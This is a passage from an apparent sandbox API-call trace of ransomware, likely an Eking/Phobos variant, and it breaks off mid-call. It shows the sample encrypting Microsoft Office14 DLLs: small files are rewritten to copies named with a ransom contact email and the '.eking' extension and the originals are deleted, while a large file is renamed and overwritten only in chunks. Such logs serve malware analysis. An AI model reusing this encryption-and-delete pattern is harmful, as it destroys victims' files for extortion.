dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0273.092] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=15800) returned 1 [0273.092] CloseHandle (hObject=0xcc) returned 1 [0273.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0273.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0273.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0273.092] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.093] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0273.093] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x3db8, lpOverlapped=0x0) returned 1 [0273.095] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x3dc0, lpOverlapped=0x0) returned 1 [0273.097] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.097] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.097] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.097] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3db8, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x3db8, lpOverlapped=0x0) returned 1 [0273.098] FlushFileBuffers (hFile=0xcc) returned 1 [0273.101] FlushFileBuffers (hFile=0x178) returned 1 [0273.103] CloseHandle (hObject=0xcc) returned 1 [0273.103] CloseHandle (hObject=0x178) returned 1 [0273.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 1 [0273.105] SetEvent (hEvent=0xe0) returned 1 [0273.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.106] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=15800) returned 1 [0273.106] CloseHandle (hObject=0x178) returned 1 [0273.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0273.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0273.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.107] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.107] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0273.110] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x3db8, lpOverlapped=0x0) returned 1 [0273.112] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x3dc0, lpOverlapped=0x0) returned 1 [0273.113] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.114] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.114] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.114] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3db8, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x3db8, lpOverlapped=0x0) returned 1 [0273.114] FlushFileBuffers (hFile=0x178) returned 1 [0273.122] FlushFileBuffers (hFile=0x1b4) returned 1 [0273.124] CloseHandle (hObject=0x178) returned 1 [0273.125] CloseHandle (hObject=0x1b4) returned 1 [0273.125] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 1 [0273.127] SetEvent (hEvent=0xe0) returned 1 [0273.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0273.128] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=537504) returned 1 [0273.128] CloseHandle (hObject=0x1b4) returned 1 [0273.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0273.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0273.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0273.128] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.128] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0273.129] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x833a0, lpOverlapped=0x0) returned 1 [0273.144] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x833b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x833b0, lpOverlapped=0x0) returned 1 [0273.160] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.161] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.161] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.161] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x833a0, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x833a0, lpOverlapped=0x0) returned 1 [0273.163] FlushFileBuffers (hFile=0x1b4) returned 1 [0273.173] FlushFileBuffers (hFile=0x178) returned 1 [0273.177] CloseHandle (hObject=0x1b4) returned 1 [0273.178] CloseHandle (hObject=0x178) returned 1 [0273.178] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 1 [0273.186] SetEvent (hEvent=0xe0) returned 1 [0273.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.187] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=451480) returned 1 [0273.187] CloseHandle (hObject=0x178) returned 1 [0273.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0273.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0273.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.188] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.188] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0273.188] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x6e398, lpOverlapped=0x0) returned 1 [0273.200] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6e3a0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x6e3a0, lpOverlapped=0x0) returned 1 [0273.210] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.210] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.210] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.210] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6e398, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x6e398, lpOverlapped=0x0) returned 1 [0273.452] FlushFileBuffers (hFile=0x178) returned 1 [0273.503] FlushFileBuffers (hFile=0x1b4) returned 1 [0273.559] CloseHandle (hObject=0x178) returned 1 [0273.560] CloseHandle (hObject=0x1b4) returned 1 [0273.560] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 1 [0273.566] SetEvent (hEvent=0xe0) returned 1 [0273.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0273.567] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=297360) returned 1 [0273.567] CloseHandle (hObject=0x1b4) returned 1 [0273.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0273.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0273.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0273.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0273.568] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.568] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0273.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0273.568] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x48990, lpOverlapped=0x0) returned 1 [0273.576] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x489a0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x489a0, lpOverlapped=0x0) returned 1 [0273.586] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0273.587] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.587] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0273.587] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x48990, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x48990, lpOverlapped=0x0) returned 1 [0273.588] FlushFileBuffers (hFile=0x1b4) returned 1 [0273.730] FlushFileBuffers (hFile=0x178) returned 1 [0273.733] CloseHandle (hObject=0x1b4) returned 1 [0273.734] CloseHandle (hObject=0x178) returned 1 [0273.735] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 1 [0273.739] SetEvent (hEvent=0xe0) returned 1 [0273.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.740] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3050912) returned 1 [0273.740] CloseHandle (hObject=0x178) returned 1 [0273.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0273.740] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0273.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0273.742] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0273.742] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0273.742] ReadFile (in: hFile=0x178, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0273.747] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0273.747] ReadFile (in: hFile=0x178, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0273.760] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0273.760] ReadFile (in: hFile=0x178, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0273.842] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0273.842] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0273.877] SetEndOfFile (hFile=0x178) returned 1 [0273.878] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0273.878] WriteFile (in: hFile=0x178, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0273.880] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0273.881] WriteFile (in: hFile=0x178, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0273.884] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0273.884] WriteFile (in: hFile=0x178, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0273.886] FlushFileBuffers (hFile=0x178) returned 1 [0274.567] CloseHandle (hObject=0x178) returned 